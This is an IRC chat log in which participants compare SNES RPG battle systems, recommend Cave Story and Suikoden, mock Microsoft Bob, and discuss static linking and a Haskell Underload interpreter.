17:00:07 -!- pikhq_ has quit (Ping timeout: 240 seconds).
17:00:09 <Vorpal> 00:00:00.000000 <--- that is some high precision
17:00:12 <fizzie> Google -> http://dsnra.jpl.nasa.gov/software/postgres/
17:00:20 -!- pikhq has joined.
17:01:37 <Vorpal> hm something I was considering before... Not sure if anyone played all the games (and thus is able to compare them) but... How would you compare the battle/combat systems of Secret of Mana, Chrono Trigger and Final Fantasy III (all for SNES)
17:02:32 <ais523> Vorpal: Final Fantasy III (Japan), or Final Fantasy III (US)? They're entirely different games.
17:02:36 <Gregor> *Final Fantasy VI
17:02:42 <Gregor> ais523: He said "all for SNES"
17:02:43 <Vorpal> ais523, hm... The US one
17:02:52 <Vorpal> unless I'm off
17:02:56 <Vorpal> well the one for snes
17:03:00 <ais523> Gregor: good point, the Japanese game was NES, presumably?
17:03:03 <Gregor> Yuh
17:03:15 <Gregor> The FF3 for SNES is FF6.
17:03:19 <Vorpal> right
17:03:20 <ais523> and yes, what the Americans call Final Fantasy III is actually Final Fantasy VI
17:03:23 <Gregor> Anyway, that's a very broad question :P
17:03:29 <Vorpal> yes it is
17:03:32 <ais523> and that's the name it's given nowadays in remakes, at least in the UK
17:03:38 <Vorpal> they have very different battle systems
17:03:53 <Gregor> Secret of Mana is more like the Zelda series' battle system.
17:03:55 <Vorpal> in how it integrates with the non-battle world for example
17:04:15 <Gregor> Chrono Trigger just uses the scenery, but is otherwise a normal JRPG battle system.
17:04:18 <Vorpal> Gregor, indeed, it doesn't have a separate battle mode as such. That is one main difference.
17:04:22 <Gregor> FF6 is a classic JRPG battle system.
17:04:23 <Vorpal> quite
17:04:56 <Vorpal> Gregor, considering personal preference, how would you rank these battle systems?
17:05:39 <Vorpal> same question goes to ais523 if he played the games
17:06:06 <Phantom_Hoover> Vorpal, from my completely uninformed perspective, Zelda.
17:06:20 <Phantom_Hoover> I say this because I detest management of any sort.
17:06:24 <Vorpal> Phantom_Hoover, zelda was not involved here?
17:06:29 <Vorpal> *shrug*
17:06:43 <Phantom_Hoover> <Gregor> Secret of Mana is more like the Zelda series' battle system.
17:06:48 <Vorpal> Phantom_Hoover, yes
17:06:59 <Vorpal> Phantom_Hoover, but it is not relevant in ranking which one you prefer
17:08:04 <Vorpal> for me it is (best battle system to worst): secret of mana, chrono trigger, ff6
17:08:39 * Vorpal waits for Gregor and ais523 to answer
17:09:02 <ais523> Vorpal: err, I haven't played any of the games in question
17:09:08 <Vorpal> ais523, ah okay
17:09:12 <Vorpal> well then, Gregor
17:09:17 <myndzi> i don't remember a ton about any of them, but i like the menu based systems best
17:09:20 <ais523> although I've seen other people play some of Chrono Trigger and of FF6, it didn't give a good feel for how the battle system worked
17:09:31 <myndzi> the active ones have novelty value, but i don't like turning my rpgs into an attempt at a brawler
17:09:54 <myndzi> though i kind of enjoyed the tales series's fighter-like battle systtem
17:10:12 <Vorpal> myndzi, I wouldn't call secret of mana that active. It is similar to zelda. But using some sort of circular wheel style menu for spells iirc
17:10:13 <Gregor> Secret of Mana is multi-player capable which is a plus, and that possibility /is/ related to the battle system.
17:10:26 <Vorpal> Gregor, ah, could be
17:10:26 <myndzi> yeah, i don't remember SoM very well
17:10:32 <myndzi> but don't you still have to "run up and whack stuff"?
17:10:33 <ais523> well, Pokémon is multiplayer capable too, and it uses a menu-based battle system
17:10:34 <Gregor> Vorpal: Could be? Is :P
17:10:34 <myndzi> that's the part that annoys me
17:10:46 <Vorpal> Gregor, right
17:11:02 <myndzi> the hitboxing and all that is fairly crude and you basically have no real chance of getting particularly good at making use of the character control for dodging and stuff
17:11:06 <Vorpal> myndzi, I like being able to retreat from stuff freely and so on
17:11:16 <myndzi> except in situations where it's a fundamental part of playing
17:11:24 <Vorpal> myndzi, it allows a lot more tactics than the fixed style of classical JRPG
17:11:25 <myndzi> like boss fights, which can be like dumbed down shmups
17:11:47 <myndzi> well that's really my complaint; i don't recall ever playing a game with a system like that where it felt particularly tactical
17:11:55 <myndzi> it was more just "run around and try not to get hit"
17:12:06 <myndzi> positioning didn't matter a great deal
17:12:07 <Vorpal> of course the AI for the PCs you are not controlling atm in secret of mana was pretty dumb
17:12:21 <myndzi> which brings it down to timing and attack selection
17:12:25 <myndzi> which is accomplished with menu systems
17:12:28 <Vorpal> hm
17:12:53 <myndzi> avoiding enemies in the environment, well, i'll give you that one, but it's usually either trivial or impossible
17:13:03 <myndzi> not much variety there, just a stylistic choice
17:13:24 <Vorpal> myndzi, hm. Also lets you escape even if they notice for slow ones
17:13:28 <myndzi> and i do enjoy being able to choose not to have to screw around with fights constantly, but many games offer you things that let you do that
17:13:46 <myndzi> moogle charm, for example, in ff6 which was one of the original games selected
17:13:52 <myndzi> or whatever it's called
17:14:00 <Vorpal> hm what was that one now again
17:14:24 <myndzi> basically, if i felt like it wasn't a poor mix of shmup, brawler, and rpg, i'd like it more
17:14:25 <myndzi> :P
17:14:30 <Vorpal> myndzi, thing that annoyed me with ff6 was how you had like 17782367 chars and like 6 in your party and you had to leave most on some airship
17:14:31 <myndzi> but i don't particularly mind it
17:14:39 <Vorpal> why so many!?
17:14:39 <myndzi> haha, well
17:14:48 <Vorpal> why not make it like 8 or so then
17:14:50 <myndzi> ff6 is nothing
17:14:55 <myndzi> if you are talking about size of cast
17:15:00 <Vorpal> myndzi, yes indeed
17:15:01 <myndzi> i forget the name, but there was some game with like hundreds
17:15:12 <Vorpal> myndzi, that's just insane
17:15:23 <myndzi> the nature of final fantasy games has enemies in greater numbers than you
17:15:28 <myndzi> and more powerful
17:15:35 <myndzi> because you have the intelligence and a wider variety of skills and strategy
17:15:37 <Vorpal> myndzi, there is no way you can level up and use the skills of all those chars
17:15:45 <myndzi> giving you like 20 PCs at once is a little silly
17:15:54 <myndzi> so games don't really do that
17:16:01 <Vorpal> myndzi, hm
17:16:05 <myndzi> but the reason for a fairly large cast is to provide characters that appeal to different people
17:16:09 <myndzi> not everyone likes the same party
17:16:25 <myndzi> they might like different characters for story reasons, skill reasons, appearance reasons, whatever
17:16:29 <myndzi> so they can select the ones they like
17:16:39 <myndzi> the airship'd members are just the ones they don't like ;)
17:16:53 <Vorpal> myndzi, in general I like something like: one excellent fighter, one or two excellent spell casters, the remaining ones generalists
17:16:55 <myndzi> and unless you're anal retentive like me, many people don't bother to try and keep all party members the same level etc.
17:17:20 <myndzi> sure, but some people like magic a lot, or some people like skull bashers a lot, or some people like LOL RANDOM
17:17:31 <Vorpal> myndzi, I do bother until I give up
17:17:36 <myndzi> some people like to hone their party into an efficient fighting force
17:17:41 <myndzi> some people just like to screw around
17:17:43 <Vorpal> myndzi, anyway there is a game with hundreds as you mentioned
17:17:46 <Vorpal> myndzi, it is called pokemon
17:18:04 <myndzi> and some people devise ridiculous challenges for themselves such as average party level 6 completion of ff6
17:18:04 <myndzi> lol.
17:18:21 <myndzi> so yeah, the extra PCs give some variety and choice to suit different people
17:18:29 <myndzi> and no, pokemon wasn't what i was thinking of
17:18:32 <myndzi> lemme see if i can figure it out
17:18:58 <Vorpal> myndzi, it does have hundreds of chars though
17:20:09 <myndzi> suikoden maybe
17:20:24 <Vorpal> never heard of that
17:20:32 <myndzi> http://en.wikipedia.org/wiki/List_of_characters_in_Suikoden_V
17:20:37 <myndzi> > WORDS
17:20:39 <lambdabot> Not in scope: data constructor `WORDS'
17:21:00 <myndzi> 108 playable characters
17:21:05 <Vorpal> myndzi, wow
17:21:14 <myndzi> this may not be what i was thinking of though
17:21:31 <Vorpal> myndzi, you might as well give up and let your player roll his own char at that point
17:21:41 <Vorpal> myndzi, like in NWN and similar
17:21:43 <Vorpal> or nethack
17:21:53 <myndzi> except you can't roll backstory and the like
17:22:00 <Vorpal> myndzi, hm true
17:22:18 <myndzi> and while some people are of the kind that like to flesh out their characters like that
17:22:22 <myndzi> others just like to view the story
17:22:25 <Vorpal> myndzi, how many cds to fit the backstory of 108 chars though
17:22:49 <myndzi> it's not very many bytes to throw in some dialogue and script programming
17:23:01 <Vorpal> myndzi, I was being sarcastic :P
17:23:08 <myndzi> o well
17:24:06 -!- elliott has joined.
17:24:29 <Vorpal> elliott, sgeo found out about MS Bob. Read log for hilarious comments.
17:24:49 <Vorpal> myndzi, if you would rate the story of the games this discussion began about, how would you rate them?
17:24:52 <elliott> Vorpal: I always read the log but you have managed to instill a deadly fear for doing so today.
17:25:15 <myndzi> lolwut: Death Spank: Stars of Virtue
17:25:15 <Vorpal> elliott, MISSION ACCOMPLISHED!
17:25:23 <Vorpal> myndzi, what
17:25:27 <myndzi> it's a game
17:25:28 <myndzi> that exists
17:25:30 <myndzi> :P
17:25:32 <elliott> deathspank is ron gilbert!
17:25:34 <Vorpal> myndzi, what sort of game?
17:25:37 <myndzi> an rpg
17:25:37 <elliott> (creator of monkey island)
17:25:39 <myndzi> i guess
17:25:49 <Vorpal> myndzi, I meant... age rating
17:25:59 <elliott> It's not an, uh, adult game X-D
17:26:05 <Vorpal> elliott, *phew*
17:26:05 <elliott> Well, I assume.
17:26:06 <myndzi> right
17:26:08 <elliott> I have not actually played it.
17:26:12 <myndzi> not adult
17:26:17 <elliott> But point is, it's Ron Gilbert and therefore perfect.
17:26:30 <Vorpal> google is unhelpful
17:26:32 <elliott> Vorpal: anyway you are clearly bullshitting, I highly doubt Sgeo didn't know what ms bob was before :P
17:26:33 <myndzi> anyway, re: stories, while i have played all of them, it's been a long time and i tended not to play any of them to completion (though i think i've beat a fair number)
17:26:34 <Vorpal> and returns something else
17:26:41 <Vorpal> that I do NOT wish to paste
17:26:42 <Sgeo> elliott, I had a vague idea
17:26:43 <myndzi> ff6 is one of my faves just because of kefka
17:26:44 <elliott> http://en.wikipedia.org/wiki/DeathSpank
17:26:51 * Vorpal goes to get the mindbleach
17:26:56 <myndzi> i mean, how can you not love an evil clown guy that gets his kicks by breaking the world?
17:27:07 <Vorpal> just don't google for "Death Spank: Stars of Virtue" without quotes
17:27:17 <myndzi> in general i don't actually pay much heed to the "plot" of CRPGs though
17:27:24 <myndzi> chrono trigger is certainly well loved
17:27:30 <elliott> Vorpal: i only get relevant links
17:27:33 <elliott> lol swedes
17:27:43 <Vorpal> elliott, I don't and I'm not logged into gmail
17:28:21 <Vorpal> <myndzi> chrono trigger is certainly well loved <-- indeed. I am replaying it atm.
17:28:28 <elliott> 01:57:54 <Vorpal> screw it. Lets try statically linked
17:28:32 <elliott> statically linking to qt
17:28:34 <elliott> brilliant
17:28:45 <Vorpal> elliott, it turned out it used libdl
17:28:50 <Vorpal> elliott, so impossible anyway
17:28:51 <elliott> yeah i saw
17:28:53 <elliott> not true
17:28:57 <elliott> you can statically link libdl i believe
17:29:08 <Vorpal> elliott, I believe if you use -static it will break though
17:29:12 <Vorpal> which was my first plan
17:29:17 <elliott> 02:45:24 <quintopia> vorpal: i prefer platformers with a kick-ass story
17:29:17 <elliott> 02:45:28 <quintopia> like psychonauts
17:29:20 <elliott> tim schafer!
17:29:25 <Gregor> libdl works just fine statically on glibc/Linux
17:29:35 <elliott> my role here is basically to point out when games were made by old kick-ass adventure game guys
17:29:36 <Vorpal> Gregor, huh. Okay
17:29:57 <Gregor> In general the .so's you dlopen in have to be statically linked too.
17:30:06 <elliott> (Schafer = Full Throttle, Grim Fandango, co-designer of MI1, MI2, Day of the Tentacle)
17:30:35 <Vorpal> Gregor, can .so be statically linked?
17:30:40 <Gregor> Vorpal: Of course.
17:30:49 <Vorpal> oh true
17:30:56 <Vorpal> ld.so has to be
17:31:16 <elliott> 07:42:31 * Sgeo wants to try Microsoft Bob
17:31:17 <Gregor> ld.so is a special case by any standards, but still :P
17:31:17 <elliott> 07:45:56 <Sgeo> Phantom_Hoover, what do you think about Microsoft Bob?
17:31:17 <elliott> 07:46:08 <Phantom_Hoover> "XD".
17:31:17 <elliott> 07:46:51 <Phantom_Hoover> Why?
17:31:17 <elliott> 07:48:21 <Sgeo> I was thinking about why I got into Creatures, I thought about Microsoft Agent, wikied, discovered that Microsoft Bob was a predecessor of sorts
17:31:18 <elliott> 07:48:44 <Sgeo> And it sounds fun. And a bit like this old Greetings Workshop program I used to have and love
17:31:21 <elliott> fudsghdfgdf
17:31:23 <elliott> Vorpal
17:31:25 <elliott> why couldn't you be lying
17:31:26 <myndzi> ok so i just skimmed the entire list of rpg series on rpgamer
17:31:27 <elliott> why
17:31:31 <myndzi> suikoden must be the one i was thinking of
17:31:32 <myndzi> :P
17:31:34 <Vorpal> elliott, I don't do that.
17:31:37 <myndzi> i don't think any other game has such a dense cast
17:31:39 <elliott> i swear to god, this is conclusive proof that sgeo has been getting stupider since 2007
17:31:44 <myndzi> but i could be mistaken
17:31:46 <Gregor> myndzi: Suikoden was awesome
17:31:50 <elliott> this is close to rock bottom
17:32:08 <Vorpal> elliott, isn't Microsoft Agent something to do with the office assistant thingy?
17:32:15 <Sgeo> Vorpal, yes
17:32:23 <Vorpal> why does that involve Creatures?
17:32:27 <Vorpal> I don't get it
17:32:31 <Sgeo> Vorpal, the word "agent"
17:32:33 <myndzi> the last time i actively played rpgs was on an emulator years ago
17:32:34 <elliott> it doesn't, read his sentence again
17:32:40 <myndzi> where i tried various PSX rpgs that i rather liked
17:32:40 <Vorpal> ah....
17:32:45 <myndzi> and eventually they crashed my computer
17:32:57 <elliott> PSX emulation is terrible
17:33:03 <myndzi> it wasn't until later that i determined that it was the fucking silicon image sata controller corrupting my disk images
17:33:15 <myndzi> so, i have a lot of interrupted forays that got reasonably far into various games
17:33:24 <myndzi> in general my long term sticktoitiveness is pretty poor though
17:33:58 <elliott> 08:37:00 <Sgeo> 3DNA is basically a 3D Microsoft Bob
17:33:59 <elliott> 08:37:05 <Sgeo> I once liked 3DNA
17:34:03 <elliott> ffff
17:34:09 <elliott> this is painful.
17:34:13 <Vorpal> myndzi, n64 never had as good RPGs as snes as far as I remember?
17:34:27 <Vorpal> zelda was of course awesome, but that is no RPG
17:34:29 <myndzi> never had an n64
17:34:39 <myndzi> rpgs kinda went from snes to playstation
17:34:44 <Vorpal> myndzi, I never did either.
17:34:48 <myndzi> though i think nintendo got some franchises back
17:34:48 <Gregor> N64 never had an awesome anything and all the N64 Zelda games suck foot.
17:34:52 <Phantom_Hoover> Sgeo, WHYYYYYY
17:34:53 <myndzi> or at least some contributions
17:34:54 <elliott> Gregor: Mario?
17:34:57 <Phantom_Hoover> Gregor, HERETIC
17:35:02 <myndzi> heretic was a computer game?
17:35:07 <myndzi> i mean, PC
17:35:08 <Vorpal> well there was paper mario
17:35:12 <Vorpal> which was quite a fun rpg
17:35:14 <myndzi> that maybe got a shitty console adaptation
17:35:16 <Sgeo> I think I got bored because 3DNA was a single-person thing
17:35:29 <Sgeo> And it's not like I used it as my desktop regularly
17:35:32 <Sgeo> I just had fun
17:35:33 <Gregor> elliott: OK, Super Mario 64 is tolerable.
17:35:34 <Sgeo> As a toy
17:35:38 <Vorpal> Gregor, Paper Mario!
17:35:42 <Gregor> But not as good as SMW, 3D platformers in general aren't a good idea.
17:35:42 <elliott> 08:42:22 <fizzie> Also related! PostrgreSQL time input accept the string "allballs" as representing the UTC midnight.
17:35:42 <elliott> 08:42:32 <fizzie> Since 00:00:00 is all balls.
17:35:42 <elliott> I... yes.
17:35:44 <Gregor> Never played Paper Mario :P
17:35:49 <elliott> Gregor: Have you ever played Super Mario Galaxy?
17:35:53 <Vorpal> Gregor, decent but not brilliant RPG
17:35:53 <myndzi> yeah, i'm all for sprite based 2d platformers
17:35:56 <elliott> Anyone who thinks 3D platformers suck has to play Galaxy.
17:35:59 <elliott> They will immediately repent.
17:36:04 <Phantom_Hoover> <3 Galaxy.
17:36:06 <Sgeo> I was under the impression that my mom would find it useful though
17:36:07 <Vorpal> <elliott> Gregor: Have you ever played Super Mario Galaxy? <-- it was not N64 though
17:36:11 <Gregor> elliott: I haven't played any games on any system newer than the original Playstation :P
17:36:15 <elliott> Vorpal: <Gregor> But not as good as SMW, 3D platformers in general aren't a good idea.
17:36:17 <Gregor> Except a rare few at friends house.
17:36:17 <Phantom_Hoover> Sgeo, *3DNA"????
17:36:17 <elliott> see second half of sentence
17:36:24 <Gregor> Such as Muscle March, greatest game ever.
17:36:25 <Phantom_Hoover> s/"/*/
17:36:25 <myndzi> gregor, haha, i'm in the same category as you :(
17:36:27 <elliott> Gregor: Yah, you need to play Galaxy.
17:36:31 <myndzi> there are so many good rpgs to be played too
17:36:35 <myndzi> but the time investment!
17:36:41 <elliott> Gregor: It is seriously the best.
17:36:41 <Sgeo> Phantom_Hoover, http://www.3dna.net/
17:36:49 <Phantom_Hoover> Sgeo, I HAVE SEEN IT
17:36:52 <Phantom_Hoover> IT IS AWFUL
17:37:07 <myndzi> lol
17:37:15 <Sgeo> To use for regular computer use, sure. Although I don't think that occured to me when I tried to set it up for my mom
17:37:17 <myndzi> because navigating a 3d environment is so much more EFFICIENT than double clicking icons
17:37:24 <elliott> can we just
17:37:25 <elliott> stop feeding sgeo
17:37:26 <elliott> forever
17:37:30 <elliott> thanks
17:37:46 <Vorpal> <Sgeo> To use for regular computer use, sure. Although I don't think that occured to me when I tried to set it up for my mom <-- poor her
17:37:48 <myndzi> right so you know what else i discovered
17:37:49 <Sgeo> Phantom_Hoover, this was a while ago, obviously
17:37:55 <myndzi> you can get some of Dat JRPG Vibe just from watching anime
17:38:01 <myndzi> and you don't have to grind for items at all!
17:38:02 <myndzi> ;)
17:38:20 <Vorpal> myndzi, har har
17:38:24 <myndzi> my biggest complaint about many rpgs, particularly final fantasy
17:38:38 <myndzi> is that they seem made so that the only way you can really get the most out of them is to buy strategy guides and the like
17:38:49 <myndzi> the best stuff isn't just obtuse it's downright secret sometimes
17:38:50 <Vorpal> myndzi, I actually like the RPG bit of it. Not really in FF6. but in games like Chrono Trigger yes
17:39:05 <myndzi> "beat the game in this amount of time, have this character as your main guy in this one scene and that's your only shot at getting his ultimate weapon"
17:39:07 <myndzi> ..yeah, wtf.
17:39:18 <myndzi> err, not beat, but progress through
17:39:18 <Vorpal> myndzi, they did that in FF6?
17:39:22 <myndzi> 7 i believe
17:39:25 <myndzi> for barrett's
17:39:27 <Vorpal> myndzi, wow
17:39:35 <Vorpal> myndzi, never played 7
17:39:35 <myndzi> but the trend continues throughout
17:39:45 <myndzi> there are lots of things where you can't just work it out by being smart or getting clues
17:39:55 <myndzi> and they tend to be the things you would enjoy the most
17:39:57 <Vorpal> myndzi, anyway you can google to find the info
17:39:59 <myndzi> badass weapons and spells, etc.
17:40:03 <myndzi> yeah, but why should i have to?
17:40:12 <Vorpal> myndzi, better than paying
17:40:15 <myndzi> my point isn't that i can find the info, it's that i can't discover it
17:40:27 <myndzi> well, not without a ridiculous amount of work in many cases
17:40:36 <Vorpal> hm true
17:40:51 <myndzi> and i already play most of these games from a rather completionist point of view
17:41:00 <myndzi> i feel wrong if i go through a dungeon and don't test every wall ;)
17:41:10 <myndzi> some final fantasy games, including 6, are guilty also of
17:41:19 <Vorpal> myndzi, well duh. That is common for a nethack player too :P
17:41:19 <myndzi> "don't get this specific chest, and when you come back later it's something better"
17:41:30 <myndzi> what kind of BS is that?
17:41:50 <myndzi> and how are you supposed to discover something like thatt on your own, even after having played the game and therefore knowing which areas you can come back to?
17:41:51 <Vorpal> myndzi, chrono trigger has that though! But it is logical there. You get something from the chest in the future first and then from the old period in time
17:42:01 <myndzi> ha
17:42:07 <myndzi> well that i can forgive a little
17:42:11 <Vorpal> myndzi, getting it from the old period first would remove it from the future
17:42:12 <myndzi> but they KNOW that players are like GIMME GIMME :P
17:42:27 <myndzi> still, it's a game about some time travelin so sure
17:42:31 <Vorpal> myndzi, it is consistent too over a handful of places
17:42:41 <myndzi> that is acceptable too
17:42:47 <myndzi> i still don't like it that much though
17:42:52 <Vorpal> myndzi, mostly those black locked chests you know
17:43:08 <myndzi> this tendency really annoyed me with Cave Story actually
17:43:12 <myndzi> which is an otherwise wonderful game
17:43:17 <Vorpal> myndzi, I haven't played that
17:43:19 <Sgeo> Phantom_Hoover, can we agree that AS A TOY TO PLAY WITH OCCASIONALLY, 3DNA is not evil?
17:43:19 <Vorpal> what is it about?
17:43:27 <myndzi> the only way to get the "good ending" is basically to skip something that is useful and obvious
17:43:35 <myndzi> at least, to be able to attempt to get the good ending ;p
17:43:40 <myndzi> it's a doujin platformer
17:43:51 <myndzi> it's cute and entertaining and also quite difficult if you go for hell mode
17:43:52 <Vorpal> doujin?
17:43:59 <myndzi> hmm, i guess indie?
17:44:03 <Vorpal> myndzi, nethack hard?
17:44:10 <myndzi> nethack isn't a platformer
17:44:12 <myndzi> apples and oranges
17:44:22 <Vorpal> myndzi, fair enough. Nintendo hard then?
17:44:37 <myndzi> i'm no game whiz, but when you make it to hell, let's say that it's comparable in difficulty to IWBTG without as many cheap tricks
17:45:01 <ais523> IWBTG is all about the cheap tricks, ofc, they're what makes it interesting
17:45:07 <myndzi> haha, right
17:45:17 <Vorpal> myndzi, anyway you can compare between genres by comparing percentage of started games that were won :P
17:45:28 <myndzi> well that's the thing
17:45:33 <myndzi> when you have a platformer that you can save in
17:45:37 <myndzi> you don't "start" many games
17:45:41 <Vorpal> fair enough
17:45:49 <myndzi> here, i'll link you a video
17:45:57 <Vorpal> hard to compare to a game that don't allow you to go back to previous saves
17:46:04 <myndzi> http://www.youtube.com/watch?v=cwkquZV-nkY
17:46:06 <myndzi> this is a speed run though
17:46:09 <Vorpal> comparing df and nh would be easier
17:46:18 <Vorpal> myndzi, tool-assisted?
17:46:22 <myndzi> for the record, i've made it to the end boss, but i got sidetracked by work and never came back
17:46:28 <myndzi> so i haven't technically beaten the game ;p
17:46:37 <myndzi> it doesn't appear to be TAS
17:46:40 <myndzi> it's not an emulated game
17:46:42 <myndzi> it's a PC game
17:47:20 <myndzi> anyway it is a really nice game and you should try it if you like platformers at all
17:47:22 <myndzi> there is an english patch
17:48:01 <elliott> Vorpal: cave story is good
17:48:11 <elliott> i haven't completed it but it's really nice
17:48:16 <elliott> beautiful graphical and musical style
17:48:20 <elliott> not that hard i wouldn't say
17:48:27 <myndzi> i completed two of three endings
17:48:33 <myndzi> it doesn't get particularly hard unless you want the best ending
17:48:46 <myndzi> and mainly because of the level i linked in that video
17:48:55 <myndzi> which you don't even SEE unless you do the aforementioned crap about skipping an obvious useful item
17:49:01 <myndzi> AND do a couple tricks
17:49:13 <elliott> that looks to be only a speedrun of one level
17:49:19 <myndzi> correct
17:49:21 <myndzi> the last level
17:49:31 <myndzi> which is what i was talking about
17:49:40 <Vorpal> elliott, yeah if you like platformers it look fun
17:50:30 <myndzi> lol @ ultratapping
17:51:06 <elliott> Vorpal: Well, it has a plot, if you care so much about that. :p
17:51:21 <myndzi> that too haha
17:51:32 <myndzi> and a cute robot girl!
17:51:33 <myndzi> :P
17:51:35 <Vorpal> elliott, good but I prefer the depth of the story when interacting with NPCs in a well written RPG
17:51:53 <elliott> Vorpal: It has tons of NPCs to interact with. :p
17:52:03 <Vorpal> elliott, and it's a platformer? really? huh
17:52:04 <elliott> I'd say it's even a platformer/RPG hybrid.
17:52:11 <Vorpal> elliott, sounds interesting
17:52:15 <myndzi> not a whole lot of RPG to it, but yeah
17:52:18 <Vorpal> elliott, do you mean hybrid like super mario rpg?
17:52:19 <myndzi> it's more like a 'metroid rpg'
17:52:26 <elliott> Vorpal: Not that hybrid.
17:52:27 <myndzi> where you get upgrades to your life and weaponry
17:52:31 <Vorpal> elliott, right
17:52:32 <elliott> Hey cool, there's a Linux port.
17:52:34 <elliott> http://shii.org/pixel/linuxdoukutsu-1.01.tar.bz2
17:52:42 <Vorpal> elliott, but it is very strange for a snes game, don't you agree?
17:52:47 <elliott> Vorpal: I haven't played it.
17:52:57 <Vorpal> elliott, ah... It is isomeric
17:53:06 <elliott> "Your experience with the Linux port is, unfortunately, the same as mine. It's not your netbook at fault; the Linux port doesn't seem to be very well optimized. I found Wine to be the way to go as well."
17:53:11 <elliott> http://shii.org/pixel/cavestory.zip then. :p
17:53:14 <Vorpal> elliott, that alone makes it strange for a snes era platform-rpg hybrid
17:53:27 <myndzi> it's not an snes game
17:53:34 <myndzi> it's a fairly recent PC game
17:53:38 <Vorpal> myndzi, I didn't say that
17:53:44 <Vorpal> myndzi, I said that about super mario rpg
17:53:47 <myndzi> ah
17:54:05 <Vorpal> elliott, maybe later. Playing chrono trigger atm
17:54:22 <myndzi> anyway, interacting with npcs eh... maybe another vote for suikoden ;)
17:54:30 <myndzi> npcs / pcs / whatever
17:54:36 <elliott> I've always loved the author's description:
17:54:37 <myndzi> seems like it should have a lot of breadth at least
17:54:37 <elliott> "Cave Story is a jumping-and-shooting action game.
17:54:37 <elliott> Explore the caves until you reach the ending.
17:54:37 <elliott> You can also save your game and continue from where you left off."
17:54:37 <Vorpal> myndzi, lots of npcs too?
17:54:47 <myndzi> lol elliott
17:54:48 <myndzi> nice
17:54:49 <Vorpal> elliott, is zzo behind it+
17:54:54 <Vorpal> s/+/?/
17:54:54 <elliott> Vorpal: No, the Japs are.
17:54:58 <myndzi> Vorpal: i was thinking more like pcs = "in depth npcs"
17:54:58 <elliott> Okay, one Jap.
17:55:01 <Vorpal> elliott, I meant the last line!
17:55:09 <Vorpal> myndzi, hm
17:55:10 <myndzi> since you can interact with them moreso than you could npcs in normal console rpgs
17:55:36 <Vorpal> myndzi, well pc to me, means one you can have in your party and can control in battle and so on
17:55:45 <myndzi> you might also enjoy Legend of the Galactic Heroes, which is an anime series but is epic and awesome ;)
17:55:55 <myndzi> Vorpal: yeah, suikoden is the one with like a hundred PCs
17:55:57 <Vorpal> myndzi, mhm
17:55:58 <elliott> now to continue on worriedly with the logs
17:56:14 <Vorpal> elliott, it gets better after. Less sgeo.
17:56:14 <myndzi> but the point of it is that each of them is a different 'character' and they have their own plot situations and stuff, i think
17:56:16 <myndzi> note: i haven't played it
17:56:22 <elliott> ais523: FINALLY YOU ARE HERE
17:56:23 <elliott> jesus
17:56:25 <elliott> been waiting
17:56:26 <elliott> N fucking days
18:01:40 -!- Wamanuz2 has joined.
18:01:40 -!- Wamanuz has quit (Read error: Connection reset by peer).
18:11:44 <Sgeo> http://notalwaysright.com/her-banking-days-are-numbered/10397 this is a validation failure
18:22:24 <olsner> the system successfully failed to recognize an invalid account number :D
18:23:03 <elliott> wat
18:23:10 <ais523> <__moz> As to the 'phone warning, I was surprised to find that it wasn't solely due to people using a microwave to dry their 'phones out after getting them wet. Some people genuinely believe that a microwave could recharge the battery, and at least one of those has discovered that a 'phone doesn't work so well once you let the (thick black) magic smoke out.
18:23:26 <ais523> a TDWTF quote that reminded me of Sgeo, or more specifically the sort of people he seems to be surrounded with
18:25:12 * Sgeo ponders a battery charger that could work like that. Certainly it's possible with other frequencies on the EM spectrum (solar panels)
18:25:31 <olsner> plenty off stuff is charged through induction
18:26:13 <elliott> ais523: and now you're REALLY HERE
18:26:14 <olsner> e.g. waterproof electric toothbrushes
18:26:34 <ais523> elliott: indeed, although I might disappear a bit in a while
18:26:39 <elliott> ais523: I have written an Underload interpreter smarter than derlo. That optimises Church numerals.
18:26:43 <ais523> I was trying to avoid someone at work, so I was turning up only when necessary
18:26:49 <ais523> elliott: yay, it had to be done eventually
18:27:16 <elliott> ais523: Me and oerjan had agreed that if you responded to that question with "oh, I wrote one of those too, but never told anyone about it", you would be banned. :P
18:27:20 <elliott> NARROWLY AVOIDED
18:27:38 <elliott> Anyway it's written in Haskell but I'm half rewriting it in C every now and then.
18:27:50 <ais523> hey, there are limits to my Underload-related prescience
18:28:01 <elliott> I think derlo is probably _faster_ for most programs, but anything involving heavy use of Church numerals will probably do okay.
18:28:07 <elliott> Unless it does addition. I'm not sure it handles addition.
18:28:16 <elliott> But it does use oerjan's insanely overcomplicated algorithm for detecting Church numeral literals.
18:28:35 <elliott> ais523: here's the code if you want to take a peek: http://sprunge.us/YGiM
18:28:54 <elliott> ais523: including the best line ever
18:28:56 <elliott> where eq = I# (reallyUnsafePtrEquality# p q) == 1
18:29:13 <ais523> reallyUnsafePtrEquality#
18:29:27 <ais523> does that do something like, um, compare pointers in the underlying representation of its arguments?
18:29:27 <elliott> reallyUnsafePtrEquality# :: a -> a -> Int#
18:29:31 <elliott> Yes.
18:29:40 <elliott> And returns an unboxed int.
18:29:48 <elliott> Which I then box with I#, and compare to 1.
18:30:11 <elliott> ais523: In fact I think it's even possible that (reallyUnsafePtrEquality# x x) is 0#.
18:30:15 <ais523> so it basically returns false if two things are different, and an unspecified value if the things are the same
18:30:15 <elliott> With GHC, I mean.
18:30:32 <elliott> ais523: It returns either 0# or 1#.
18:30:40 <ais523> unspecified 0# or 1#, then
18:30:43 <elliott> ais523: If it returns 1#, the two things are the same.
18:30:50 <elliott> Otherwise, anything is possible.
18:30:58 <ais523> yep, that's what I said just in reverse
18:30:59 <elliott> p == q = eq || p' == q'
18:30:59 <elliott> where eq = I# (reallyUnsafePtrEquality# p q) == 1
18:30:59 <elliott> Quote p' = toQ p
18:31:01 <elliott> Quote q' = toQ q
18:31:06 <elliott> I just do it because toQ is sloooow.
18:31:11 <elliott> toQ :: Obj -> Obj
18:31:11 <elliott> toQ (Church _ p) = p
18:31:11 <elliott> toQ (Catn p q) = Quote (xs++ys) where Quote xs = toQ p; Quote ys = toQ q
18:31:11 <elliott> toQ (Rept n p) = Quote $ concat (genericReplicate n p') where Quote p' = toQ p
18:31:13 <elliott> toQ x = x
18:31:21 <elliott> Hmm, that's broken
18:31:23 <elliott> should be = toQ p
18:31:39 <elliott> ais523: I also wrote an Underload test suite, just because nobody gets * right
18:31:54 <elliott> and oerjan has been working on minimisation like usual
18:32:11 <ais523> I have to go for a while, but I'll stay connected and be back in a while
18:32:24 <elliott> OK
18:32:24 <elliott> ais523: http://sprunge.us/fLWW
18:32:27 <elliott> There's the link to burden.ul FWIW
